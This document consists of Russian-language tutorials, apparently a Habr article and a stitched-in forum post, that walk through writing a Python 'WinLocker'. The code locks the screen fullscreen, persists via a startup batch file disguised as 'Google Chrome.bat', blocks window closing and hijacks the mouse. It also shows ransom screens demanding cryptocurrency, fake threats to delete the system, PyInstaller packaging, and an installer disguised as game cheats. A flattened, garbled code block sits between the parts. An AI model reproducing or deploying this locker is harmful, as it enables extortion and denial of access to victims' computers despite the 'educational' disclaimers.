Как написать свой винлокер

Время на прочтение
10 мин

Количество просмотров 38K

Внимание!

Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом.


Вступление

И всем привет братва, с вами я, Геймер Дисклеймер. Как вы думаете, чем я занимался 2 дня подряд? Нет, я не в доту рубился (и вам не советую, раз уж вы себя программистами называете). Я подготавливал материал для Хабра. А точнее, создавал винлокер. И нет, я его не скоммуниздил украл у кого-то, а сам создавал его с нуля. И сегодня я научу вас его создавать. И да, если вы дисклеймер так и не прочитали, то ни в коем случае не используйте этот код во вред другим! Ну ладно, без лишних слов, погнали!

Что нам нужно?

Для создания винлокера нам понадобится:

  1. Сам Python, установить который вы сможете на официальном сайте

  2. Текстовый редактор, в моём случае это будет S*****e Text, цензура для того, чтобы модерация не сочла это за пиар (фактически, вы сможете его написать хоть в простом блокноте)

  3. Доступ к интернету для установки необходимых модулей в PyPI

  4. Компьютер, работающий на ОС Windows

  5. Хоть какое-то базовое познание Python

  6. Прямые руки

  7. Чай с молоком, или в крайнем случае кофе

Приступаем к написанию

Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код.

Создаём файл main.py в любой директории

После этого открываем его в любом редакторе.

И начинаем писать наш волшебный код…

Установка и импорт модулей

Ах да… чуть не забыл. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd

и попадаем в командную строку…

вводим туда pip install getpass3

И у нас происходит установка

Таким же образом вводим комманды pip install pyautogui и pip install playsound

Потом возвращаемся в наш файл, и пишем в нём слудующее:

# Импортируем все модули, которые нам пригодятся
from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep

Создание окна

После этого для удобства ставим отступ, и пишем вот такое

USER_NAME = getpass.getuser()

Тут мы присваиваем переменной USER_NAME имя нашего пользователя, в моём случае это просто User.

Потом вводим в наш файл такие истрочки, пояснение будет в комментариях

window = Tk() # Присваиваем переменной window значение окна, чтобы мы не писали всегда Tk()
window.title("WinLocker by GDisclaimer") # Делаем заголовок окна WinLocker by GDisclaimer
window.geometry('400x250') # Хотя это нам не понадобиться, но на всякий случай, это делает размер окна 400 на 250 пикселей
window['bg'] = 'black' # Теперь наше окно будет чёрным

window.mainloop() # Эта строчка нам нужна, чтобы окно не закрывалось сразу же после открытия

Для удобства, вот вам код, который вы должны скопировать:

from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

window.mainloop()

Запуск, и проверка кода на работоспособность

Сохраняем файл. После сохранения заходим опять в консоль, переходим в нашу директорию, где расположен файл. Делается это так:

cd "C:YourPathToTheMainPyFile"

Моя директория C:/myFiles. Поэтому моя комманда будет выглядеть вот так

cd "C:myFiles"

потом вводим вот такую строчку:

python main.py

В результате у вас должно запуститься окно.

Круто! Но ведь это ещё далеко не винлокер….

Но до этого мы ещё не дошли. Сейчас Мы поговорим про адаптивность

Делаем окно адаптивным

Давайте сначало поговорим, зачем нам это вообще нужно. Я вам скажу. Не у всех же нормальный 1920×1080 мониторы. У меня самого монитор 1366×768. А у кого-то мониторы ещё меньше

И чтобы у некоторых людей текст не вылазил за пределы экрана, мы настроим адаптивность.

К сожалению, для меня этот код тоже был сложным, и мне пришлось его копировать с другого сайта.

ПРИМЕЧАНИЕ. Весь последующий код следует вставлять до строчки window.mainloop()

# Base size
normal_width = 1920 # Задаём ширину обычного монитора
normal_height = 1080 # Задаём высоту обычного монитора

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

Опять-же вот вам весь код:

from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

window.mainloop()

Сохраняем и проверяем. Если код не выдал ошибок, то идём дальше

Добавляем функции

Сделать окно — это конечно круто, но пока-что оно бесполезное. И это мы будем исправлять.

# Запускаем песню, которую вы должны скачать
def play(test):
        playsound('sound.mp3', False)
# Добавляем наш винлокер на автозапуск
def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:Users%sAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup' % USER_NAME
    with open(bat_path + '\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)
# Эта функция не даёт нам закрыть окно путём Alt + F4
def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()
# Здесь мы делаем, чтобы окно выводилось на целый экран, и было всегда на переднем плане
def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)
# Тут мы проверяем пароль на правильность
def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:Users%sAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupGoogle Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()

Сохраняем, и запускаем. Вроде-бы ничего не изменилось. Так и должно быть! Ведь мы нигде не запускали наши функции. И запускать мы их пока-что не будем. Иначе будет очень плохо

И да, на первой строчке мы видим функцию play(test). Но постойте! там же упомянут файл sound.mp3. Но ведь его у меня нету.

Сейчас исправим.

Вот ссылка на сам файл: http://www.mediafire.com/file/ouuwbnw48l415xd/sound.mp3/file

Сохраняем его в директорию с нашим файлом. Если у файла название не sound.mp3, то переименовываем

Делаем апгрейд интерфейса

До этого момента у нас в окне выводился просто черный квадрат. Не вариант! Где вы видели такой винлокер?

Сейчас исправим…

Вводим вот эти строчки кода (опять-же, все обьясняю в комментариях):

add_to_startup("C:\myFiles\main.py") # Добавляем наш файл в автозапуск
fullscreen() # Вызываем фунцию, которая ставит окно с программой на передний план, и делает его на полный экран

# Создаем текст
txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')

# Используем метод .grid, чтобы текст появился на экране
txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

# Расставляем весь текст по местам
txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)

# Тут мы делаем строку с вводом кода, и для его проверки вызываем функцию clicked()
txt = Entry(window)  
btn = Button(window, text="ВВОД КОДА", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

# Врубаем ранее установленную песню
play('sound.mp3')

ВНИМАНИЕ! ОКНО ЗАКРЫВАЕМ КОМБИНАЦИЕЙ КЛАВИШ ALT + F4

А ТАКЖЕ, КОД ОТ ВИНЛОКЕРА: petya

Запускаем и проверяем. Окно должно выглядеть вот так:

Если же нет, то вот вам весь код:

from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

def play(test):
        playsound('sound.mp3', False)

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:Users%sAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup' % USER_NAME
    with open(bat_path + '\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()

def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)

def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:Users%sAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupGoogle Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()

add_to_startup("C:\myFiles\main.py")
fullscreen()

txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')

txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)


txt = Entry(window)  
btn = Button(window, text="ВВОД КОДА", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

play('sound.mp3')

window.mainloop()

Убираем возможность закрытия окна путём Alt + F4

Мы с вами закрывали окно путём комбинации клавиш, упомянутой в заголовке.

Нам нужно это убрать. Для этого просто вводим перед строчкой window.mainloop() строку block()

Теперь от винлокера можно избавиться вводом кода.

КОД: petya

Убираем возможность снять винлокер путём закрытия командной строки

Особо внимательные читатели додумались закрывать винлокер обычного закрытия командной строки. Если вы меня не поняли, ничего страшного. Потом поймёте. нам нужно всего лишь к файлу main.py добавить w, чтобы получилось main.pyw

Исходный код

Вот и всё! Наш винлокер готов, вот вам весь исходный код файла:

from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

def play(test):
        playsound('sound.mp3', False)

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:Users%sAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup' % USER_NAME
    with open(bat_path + '\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()

def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)

def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:Users%sAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupGoogle Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()

add_to_startup("C:\myFiles\main.py")
fullscreen()

txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')

txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)


txt = Entry(window)  
btn = Button(window, text="ВВОД КОДА", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

block()

play('sound.mp3')

window.mainloop()

.EXE файл

Так-же вы сможете скомилировать весь код в расширение .ехе с помощью pyinstaller. Я очень добрый автор, и я решил скинуть вам установщик, замаскированный под читы для CS:GO, вы можете затроллить этим друга, но обещайте, что не будете делать атаки этим винлокером, а также, когда немножко посмеётесь, обязательно скажите пароль от винлокера:)


Установщик винлокера


Заключение

В заключение я хочу сказать скептикам — делать вирусы можно хоть где. Даже на том самом PHP…

Так что всем спасибо за то, что прочитали мою статью, а модерации спасибо, в случае, если моя статься попадёт на ленту.

Всем удачи, и хорошего дня!

from tkinter import * import pyautogui import os import os.path #import pygame read1ng=» « BTC=«BTC: wallet» LTC=«LTC: wallet» ETH=«ETH: wallet» SORRYBRO=«» LOCKFILE = r’C:Users%sAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupsystem.logger’ #XMRimg = pyautogui.screenshot(‘my_screenshot.png’) password=(«haha_lol») #переменная с паролем от локера, можно установить что-то свое t1me=7000 #переменная с временем таймера в секундах. d3l=«Удаление системы начато…» def block(): #pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y pyautogui.moveTo(x=670,y=890) #переводим мышку в позицию координат X и Y #screen.protocol(«WM_DELETE_WINDOW»,block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block screen.update() def password_check(event): global read1ng read1ng=field.get() if read1ng==password: screen.destroy() def systemrun(): os.system(«audacity») #Команда которую выполнить по истечении времени if(os.path.exists(LOCKFILE)): #Если файл сесии найден SORRYBRO=«Вы перезагрузили компьютер, удаление начато…» t1me = 300 open(LOCKFILE, ‘tw’, encoding=‘utf-8’).close() screen=Tk() screen.title(«WinLock») screen.attributes(«-fullscreen»,True) screen.configure(background=«#1c1c1c») pyautogui.FAILSAFE=False field=Entry(screen,fg=«green»,justify=CENTER, borderwidth=0) but=Button(screen,text=«Разблокировать», borderwidth=0) text0=Label(screen,text=«Ваша система заблокирована!»,font=«TimesNewRoman 30»,fg=«white»,bg=«#1c1c1c») DontPanic=Label(screen, text=«Не паникуй, это не шифровальщик, твои файлы в полном порядкеnЭта программа только может стереть твою систему с лица Земли, тебе нечего бояться!»,font=«TimesNewRoman 24»,fg=«white»,bg=«#1c1c1c») text=Label(screen,text=«Вам необходимо перечислить 5$ на один из нижеприведённых кошельков»,font=«TimesNewRoman 30»,fg=«#32CD32»,bg=«#1c1c1c») REMOV=Label(screen,text=SORRYBRO,font=«TimesNewRoman 40»,fg=«red»,bg=«#1c1c1c») REMOV.place(x=400,y=40) BTCimg = PhotoImage(file = ‘./BTC-little.png’) LTCimg = PhotoImage(file = ‘./LTC-little.png’) ETHimg = PhotoImage(file = ‘./ETH-little.png’) BTClabel = Label(screen, image=BTCimg, borderwidth=0).place(x=350,y=420) LTClabel = Label(screen, image=LTCimg, borderwidth=0).place(x=350,y=570) ETHlabel = Label(screen, image=ETHimg, borderwidth=0).place(x=350,y=720) textBTC=Label(screen, text=BTC,font=«TimesNewRoman 16»,fg=«yellow»,bg=«#1c1c1c») textLTC=Label(screen,text=LTC,font=«TimesNewRoman 16»,fg=«yellow»,bg=«#1c1c1c») textETH=Label(screen,text=ETH,font=«TimesNewRoman 16»,fg=«yellow»,bg=«#1c1c1c») text1=Label(screen,text=«Не перезагружайте компьютер, это удалит вашу систему!»,font = «TimesNewRoman 16»,fg=«red»,bg=«#1c1c1c») Citate=Label(screen,text=«Лох не мамонт, лох не вымрет.n© Сократ»,font = «TimesNewRoman 16»,fg=«red»,bg=«#1c1c1c») l=Label(text=t1me,font=«Arial 22»,fg=«red»,bg=«#1c1c1c») l1=Label(text=«До удаления системы осталось:»,fg=«white»,bg=«#1c1c1c»,font=«Arial 15») but.bind(‘<Button-1>’,password_check) text.place(x=300,y=170) DontPanic.place(x=300,y=240) field.place(width=150,height=50,x=600,y=790) but.place(width=150,height=50,x=600,y=860) text0.place(x=600,y=110) text1.place(x=410,y=330) textBTC.place(x=410,y=430) textLTC.place(x=410,y=580) #LTCimg.place(x=380,y=580) textETH.place(x=410,y=730) #ETHimg.place(x=380,y=730) l1.place(x=20,y=70) l.place(x=20,y=100) Citate.place(x=900,y=820) #pygame.init() #aud=pygame.mixer.Sound(«message.wav») #aud.play() screen.update() pyautogui.moveTo(x=670,y=890) #переводим мышку в позицию координат X и Y while read1ng!=password: l.configure(text=t1me) screen.after(200) #делаем задержку в 200 миллисекунд. if t1me==0: t1me=d3l systemrun() if t1me!=d3l: t1me=t1me1 block()

Всем привет! В этой статье мы с вами напишем локер для компьютера,на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя,пока он не введет пароль.В простонародье данный вирус называют «WinLocker«

Переходим на официальный сайт PythonАТЫК. Скачиваем последнюю версию и устанавливаем ее.
1.png 2.png 3.png

Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись — «Удаление системы» Вот и вся суть программы)

#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека — написанные коды/функции,которые подключаются к нашей программе.

from tkinter import *  #говорим питону с библиотеки tkinter импортировать все
import pyautogui  #говорим питону импортировать библиотеку pyautogui
import pygame  #говорим питону импортировать библиотеку pygame

__________________________________________________________________________________
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек
pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)

___________________________________________________________________________________
Дальше мы зададим переменные, которые мы будем использовать.

read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения

____________________________________________________________________________________
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.

def block(): #создаем функцию, которая называется block
    pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
    pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
    screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
    screen.update() #переменную с нашим экраном мы обновляем.

Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.

def password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
    global read1ng #создаем глобальную переменную read1ng.
    read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
    if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
        screen.destroy() #окно программы(screen) мы уничтожаем/закрываем

____________________________________________________________________________________
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.

screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.ws") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.


_____________________________________________________________________________________
Теперь мы создадим объекты для нашей программы — кнопку,поле для ввода и надписи.

field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса vlmi.ws",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше

______________________________________________________________________________________
У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.

but.bind('<Button-1>',password_check) #к переменной but(нашей кнопке) мы привязываем функцию password_check,которая выполнится при нажатии ЛКМ

______________________________________________________________________________________
До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране.
(используем функцию .place(), которая принимает значения x и y — координаты)

text.place(x=380,y=180) #переменную text мы отображаем на координатах X и Y
field.place(width=150,height=50,x=600,y=300) #переменной field мы устанавливаем ширину,высоту и отображаем на координатах X и Y
but.place(width=150,height=50,x=600,y=380) #переменной but мы устанавливаем ширину,высоту и отображаем на координатах X и Y
text0.place(x=410,y=100) #переменную text0 мы отображаем на координатах X и Y
text1.place(x=410,y=250) #переменную text1 мы отображаем на координатах X и Y
l1.place(x=20,y=70) #переменную l1 мы отображаем на координатах X и Y
l.place(x=20,y=100) #переменную l мы отображаем на координатах X и Y

_______________________________________________________________________________________
В winlock-ерах принято оставлять сообщения с информацией,требованием перевода денег. Я решил, что оставлять текстовое сообщение — слишком банально, и при запуске нашего вируса будет проигрываться голосовое сообщение.
Голосовое сообщение я сделал с помощью этого сервиса
ТЫК. Музыка/сообщение должно быть в формате .wav, можно использовать
конвертеры.

pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.


_______________________________________________________________________________________

Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.

screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y


________________________________________________________________________________________

Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.

while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
    l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
    screen.after(300) #делаем задержку в 300 миллисекунд.
    if t1me==0: #условие,если переменная t1me равна 0, то :
        t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
    if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
        t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
    block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.

При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу. Смотрим видео!)

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами

-F соберет все файлы в один exe файл
-w отключит консоль

-i *путь к иконке* аргумент,который подключит к программе иконку

Смотрим видео!)

После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.

  1. Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
  2. Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.

!!!ВАЖНО если вы добавили голосовое сообщение и скомпилировали программу, файл с звуком(message.wav) должен лежать рядом с EXE иначе программа крашнется.

Скачать готовую программу и исходники вы можете по ссылкеТЫК
!!!ВАЖНО — пароль от локера vlmi
Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов — сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.
upload_2018-5-9_21-15-3.png
готовая программа

Спасибо за прочтения данной статьи, я очень старался и писал ее на протяжении 4 дней)
Если вам что-то не понравилось, или есть идеи по улучшению — прошу сообщить об этом :-)

Вся информация написана в целях ознакомления,автор не несет ответственность за использование данного материала)

Внимание

Понравилась статья? Поделить с друзьями:
  • Как написать свой блокчейн
  • Как написать свист на бумаге
  • Как написать самоанализ воспитательной работы
  • Как написать салют
  • Как написать робинзонаду